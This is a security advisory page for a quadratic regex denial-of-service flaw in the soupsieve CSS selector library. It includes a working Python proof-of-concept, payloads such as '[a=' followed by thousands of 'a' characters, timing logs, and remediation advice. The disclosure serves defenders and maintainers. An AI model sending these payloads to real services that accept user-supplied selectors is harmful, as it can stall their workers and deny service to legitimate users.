GHSA-GJV8-XP57-G29C
Vulnerability from github – Published: 2026-09-17 20:32 – Updated: 2026-09-17 20:32Summary
soupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared IDENTIFIER sub-pattern (also embedded in VALUE, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: (?:[classA]|ESC)+(?:[classB]|ESC)*, where both classes match ordinary identifier characters such as a. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing ], or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the + group and the * group, giving O(n²) parse time. A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes.
Trust model (Q0)
The selector string is the input. It reaches this code via soupsieve.compile(), soupsieve.select/iselect/match/filter, and — most commonly — BeautifulSoup's soup.select(selector) / soup.select_one(selector), which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected.
Root cause (exact anchors) — src/soupsieve/css_parser.py
# lines 122-126
IDENTIFIER = fr'''
(?:(?:-?(?:[^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})+|--)
(?:[^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})*)
'''
# line 129 — VALUE embeds IDENTIFIER (so attribute values inherit the pattern)
VALUE = fr'''(?:"(?:\\(?:.|{NEWLINE})|[^\\"\r\n\f])*?"|'...'|{IDENTIFIER})'''
- classA
[^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f]excludes digits (0x30-0x39); classB[^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f]allows digits. The intent is "first char not a digit, remaining chars may be digits." - Both classes match ordinary letters (e.g.
a= 0x61). The construct is therefore effectively(?:C)+(?:C)*over an overlapping class C — the canonical adjacent-quantifier shape that backtracks quadratically on a failing match.
The quadratic only manifests when the overall match must fail. IDENTIFIER matched greedily on "a"*n succeeds in linear time (~1 ms at n=32000). Anchoring it so a following element is mandatory and fails (IDENTIFIER + "$" against "a"*n + "!") reproduces the O(n²) directly: n=2000 → 44 ms, 4000 → 257 ms, 8000 → 743 ms, 16000 → 2944 ms (~×4 per ×2). Profiling compile("[a=" + "a"*4000) shows only 12 re.match calls consuming 2.685 s — i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead).
Reproduction environment (discipline #12 — published artifact)
- git HEAD
751c57b(2.9,PYTHONPATH=src):cd src && python3 ../poc/poc_redos_compile.py. - Published PyPI
soupsieve 2.8.4(freshuv pip install soupsieve beautifulsoup4):cd poc && ../.venv-published/bin/python poc_redos_compile.py→ same O(n²) (evidence:poc/evidence_redos_compile_PUBLISHED_2.8.4.log). - Python 3.11.15 and 3.14.6 both reproduce.
PoC (poc/poc_redos_compile.py)
import sys, time
sys.path.insert(0, ".")
import soupsieve as sv
def compile_time(sel):
t0 = time.perf_counter()
try:
sv.compile(sel)
status = "ok"
except Exception as e:
status = type(e).__name__
return (time.perf_counter() - t0), status
print(f"soupsieve {sv.__version__}\n")
print("Payload A: '[a=' + 'a'*n (unterminated attribute value)")
for n in (1000, 2000, 4000, 8000):
dt, st = compile_time("[a=" + "a" * n)
print(f" n={n:<6} len={3+n:<7} {dt*1000:9.1f} ms [{st}]")
print("\nPayload B: 'a'*n + '!' (identifier run + invalid trailing char)")
for n in (2000, 4000, 8000, 16000):
dt, st = compile_time("a" * n + "!")
print(f" n={n:<6} len={n+1:<7} {dt*1000:9.1f} ms [{st}]")
payload = "[a=" + "a" * 12000
dt, st = compile_time(payload)
print(f"\n[+] Single call: compile('[a=' + 'a'*12000) (len={len(payload)})")
print(f"[+] wall time = {dt:.2f} s [{st}]")
End-to-end note: bs4.BeautifulSoup(html).select(payload) reaches the same compile() path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: soup.select("[a=" + "a"*6000) took ~5.0 s for one call (evidence: poc/evidence_bs4_select_PUBLISHED_2.8.4.log).
Evidence — HEAD 2.9 (verbatim poc/evidence_redos_compile.log)
soupsieve 2.9
Payload A: '[a=' + 'a'*n (unterminated attribute value)
n=1000 len=1003 214.8 ms [SelectorSyntaxError]
n=2000 len=2003 504.7 ms [SelectorSyntaxError]
n=4000 len=4003 2031.9 ms [SelectorSyntaxError]
n=8000 len=8003 8091.3 ms [SelectorSyntaxError]
Payload B: 'a'*n + '!' (identifier run + invalid trailing char)
n=2000 len=2001 79.7 ms [SelectorSyntaxError]
n=4000 len=4001 322.9 ms [SelectorSyntaxError]
n=8000 len=8001 1328.9 ms [SelectorSyntaxError]
n=16000 len=16001 5379.4 ms [SelectorSyntaxError]
[+] Single call: compile('[a=' + 'a'*12000) (len=12003)
[+] wall time = 18.28 s [SelectorSyntaxError]
Evidence — published 2.8.4 (verbatim poc/evidence_redos_compile_PUBLISHED_2.8.4.log)
soupsieve 2.8.4
Payload A: '[a=' + 'a'*n
n=1000 len=1003 113.9 ms [SelectorSyntaxError]
n=2000 len=2003 457.2 ms [SelectorSyntaxError]
n=4000 len=4003 1816.8 ms [SelectorSyntaxError]
n=8000 len=8003 7299.0 ms [SelectorSyntaxError]
[+] Single call: compile('[a=' + 'a'*12000) wall time = 16.57 s [SelectorSyntaxError]
Impact — calibrated
- Confirmed: quadratic CPU consumption per
compile()/select()call on an attacker-controlled selector. ~8 KB → ~8 s; ~12 KB → ~17 s; scaling ~×4 per input doubling. A handful of such requests exhausts a worker/thread and degrades or stalls the service (single-threaded regex holds the GIL). - Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.
- NOT claimed: exponential blowup, memory corruption, or code execution. This is strictly an availability (DoS) issue, and only where selectors are attacker-influenced. Applications using only fixed selectors are unaffected — stated to avoid inflation.
Remediation
- Remove the adjacent-quantifier ambiguity in
IDENTIFIER: match a single leading non-digit character then the remaining class once, e.g.(?:-?(?:[classA]|ESC)(?:[classB]|ESC)*|--(?:[classB]|ESC)*), so no+/*pair spans the same characters. - Alternatively use atomic grouping / possessive quantifiers where supported (
(?>...),*+) to forbid backtracking into the identifier run. - Defense-in-depth: cap selector length before compiling (reject selectors beyond a sane bound), since CSS selectors are realistically short.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "soupsieve"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-86000"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T20:32:58Z",
"nvd_published_at": "2026-09-17T16:18:16Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nsoupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared `IDENTIFIER` sub-pattern (also embedded in `VALUE`, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: `(?:[classA]|ESC)+(?:[classB]|ESC)*`, where both classes match ordinary identifier characters such as `a`. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing `]`, or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the `+` group and the `*` group, giving O(n\u00b2) parse time. A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes.\n\n## Trust model (Q0)\n\nThe selector string is the input. It reaches this code via `soupsieve.compile()`, `soupsieve.select/iselect/match/filter`, and \u2014 most commonly \u2014 BeautifulSoup\u0027s `soup.select(selector)` / `soup.select_one(selector)`, which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected.\n\n## Root cause (exact anchors) \u2014 `src/soupsieve/css_parser.py`\n\n```python\n# lines 122-126\nIDENTIFIER = fr\u0027\u0027\u0027\n(?:(?:-?(?:[^\\x00-\\x2f\\x30-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]|{CSS_ESCAPES})+|--)\n(?:[^\\x00-\\x2c\\x2e\\x2f\\x3A-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]|{CSS_ESCAPES})*)\n\u0027\u0027\u0027\n# line 129 \u2014 VALUE embeds IDENTIFIER (so attribute values inherit the pattern)\nVALUE = fr\u0027\u0027\u0027(?:\"(?:\\\\(?:.|{NEWLINE})|[^\\\\\"\\r\\n\\f])*?\"|\u0027...\u0027|{IDENTIFIER})\u0027\u0027\u0027\n```\n\n- classA `[^\\x00-\\x2f\\x30-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]` excludes digits (0x30-0x39); classB `[^\\x00-\\x2c\\x2e\\x2f\\x3A-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]` allows digits. The intent is \"first char not a digit, remaining chars may be digits.\"\n- Both classes match ordinary letters (e.g. `a` = 0x61). The construct is therefore effectively `(?:C)+(?:C)*` over an overlapping class C \u2014 the canonical adjacent-quantifier shape that backtracks quadratically on a failing match.\n\nThe quadratic only manifests when the overall match must fail. `IDENTIFIER` matched greedily on `\"a\"*n` succeeds in linear time (~1 ms at n=32000). Anchoring it so a following element is mandatory and fails (`IDENTIFIER + \"$\"` against `\"a\"*n + \"!\"`) reproduces the O(n\u00b2) directly: n=2000 \u2192 44 ms, 4000 \u2192 257 ms, 8000 \u2192 743 ms, 16000 \u2192 2944 ms (~\u00d74 per \u00d72). Profiling `compile(\"[a=\" + \"a\"*4000)` shows only 12 `re.match` calls consuming 2.685 s \u2014 i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead).\n\n## Reproduction environment (discipline #12 \u2014 published artifact)\n\n- git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src \u0026\u0026 python3 ../poc/poc_redos_compile.py`.\n- Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc \u0026\u0026 ../.venv-published/bin/python poc_redos_compile.py` \u2192 same O(n\u00b2) (evidence: `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`).\n- Python 3.11.15 and 3.14.6 both reproduce.\n\n## PoC (`poc/poc_redos_compile.py`)\n\n```python\nimport sys, time\nsys.path.insert(0, \".\")\nimport soupsieve as sv\n\ndef compile_time(sel):\n t0 = time.perf_counter()\n try:\n sv.compile(sel)\n status = \"ok\"\n except Exception as e:\n status = type(e).__name__\n return (time.perf_counter() - t0), status\n\nprint(f\"soupsieve {sv.__version__}\\n\")\n\nprint(\"Payload A: \u0027[a=\u0027 + \u0027a\u0027*n (unterminated attribute value)\")\nfor n in (1000, 2000, 4000, 8000):\n dt, st = compile_time(\"[a=\" + \"a\" * n)\n print(f\" n={n:\u003c6} len={3+n:\u003c7} {dt*1000:9.1f} ms [{st}]\")\n\nprint(\"\\nPayload B: \u0027a\u0027*n + \u0027!\u0027 (identifier run + invalid trailing char)\")\nfor n in (2000, 4000, 8000, 16000):\n dt, st = compile_time(\"a\" * n + \"!\")\n print(f\" n={n:\u003c6} len={n+1:\u003c7} {dt*1000:9.1f} ms [{st}]\")\n\npayload = \"[a=\" + \"a\" * 12000\ndt, st = compile_time(payload)\nprint(f\"\\n[+] Single call: compile(\u0027[a=\u0027 + \u0027a\u0027*12000) (len={len(payload)})\")\nprint(f\"[+] wall time = {dt:.2f} s [{st}]\")\n```\n\nEnd-to-end note: `bs4.BeautifulSoup(html).select(payload)` reaches the same `compile()` path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: `soup.select(\"[a=\" + \"a\"*6000)` took ~5.0 s for one call (evidence: `poc/evidence_bs4_select_PUBLISHED_2.8.4.log`).\n\n## Evidence \u2014 HEAD 2.9 (verbatim `poc/evidence_redos_compile.log`)\n\n```\nsoupsieve 2.9\n\nPayload A: \u0027[a=\u0027 + \u0027a\u0027*n (unterminated attribute value)\n n=1000 len=1003 214.8 ms [SelectorSyntaxError]\n n=2000 len=2003 504.7 ms [SelectorSyntaxError]\n n=4000 len=4003 2031.9 ms [SelectorSyntaxError]\n n=8000 len=8003 8091.3 ms [SelectorSyntaxError]\n\nPayload B: \u0027a\u0027*n + \u0027!\u0027 (identifier run + invalid trailing char)\n n=2000 len=2001 79.7 ms [SelectorSyntaxError]\n n=4000 len=4001 322.9 ms [SelectorSyntaxError]\n n=8000 len=8001 1328.9 ms [SelectorSyntaxError]\n n=16000 len=16001 5379.4 ms [SelectorSyntaxError]\n\n[+] Single call: compile(\u0027[a=\u0027 + \u0027a\u0027*12000) (len=12003)\n[+] wall time = 18.28 s [SelectorSyntaxError]\n```\n\n## Evidence \u2014 published 2.8.4 (verbatim `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`)\n\n```\nsoupsieve 2.8.4\nPayload A: \u0027[a=\u0027 + \u0027a\u0027*n\n n=1000 len=1003 113.9 ms [SelectorSyntaxError]\n n=2000 len=2003 457.2 ms [SelectorSyntaxError]\n n=4000 len=4003 1816.8 ms [SelectorSyntaxError]\n n=8000 len=8003 7299.0 ms [SelectorSyntaxError]\n[+] Single call: compile(\u0027[a=\u0027 + \u0027a\u0027*12000) wall time = 16.57 s [SelectorSyntaxError]\n```\n\n## Impact \u2014 calibrated\n\n- Confirmed: quadratic CPU consumption per `compile()`/`select()` call on an attacker-controlled selector. ~8 KB \u2192 ~8 s; ~12 KB \u2192 ~17 s; scaling ~\u00d74 per input doubling. A handful of such requests exhausts a worker/thread and degrades or stalls the service (single-threaded regex holds the GIL).\n- Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.\n- NOT claimed: exponential blowup, memory corruption, or code execution. This is strictly an availability (DoS) issue, and only where selectors are attacker-influenced. Applications using only fixed selectors are unaffected \u2014 stated to avoid inflation.\n\n## Remediation\n\n- Remove the adjacent-quantifier ambiguity in `IDENTIFIER`: match a single leading non-digit character then the remaining class once, e.g. `(?:-?(?:[classA]|ESC)(?:[classB]|ESC)*|--(?:[classB]|ESC)*)`, so no `+`/`*` pair spans the same characters.\n- Alternatively use atomic grouping / possessive quantifiers where supported (`(?\u003e...)`, `*+`) to forbid backtracking into the identifier run.\n- Defense-in-depth: cap selector length before compiling (reject selectors beyond a sane bound), since CSS selectors are realistically short.",
"id": "GHSA-gjv8-xp57-g29c",
"modified": "2026-09-17T20:32:58Z",
"published": "2026-09-17T20:32:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-gjv8-xp57-g29c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86000"
},
{
"type": "WEB",
"url": "https://github.com/facelessuser/soupsieve/commit/ce44e4996e6632871c18cdd7a7fb641be8ef34ef"
},
{
"type": "PACKAGE",
"url": "https://github.com/facelessuser/soupsieve"
},
{
"type": "WEB",
"url": "https://github.com/facelessuser/soupsieve/releases/tag/2.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Soup Sieve: Polynomial-time ReDoS (O(n\u00b2)) in the `IDENTIFIER` / `VALUE` selector sub-patterns"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.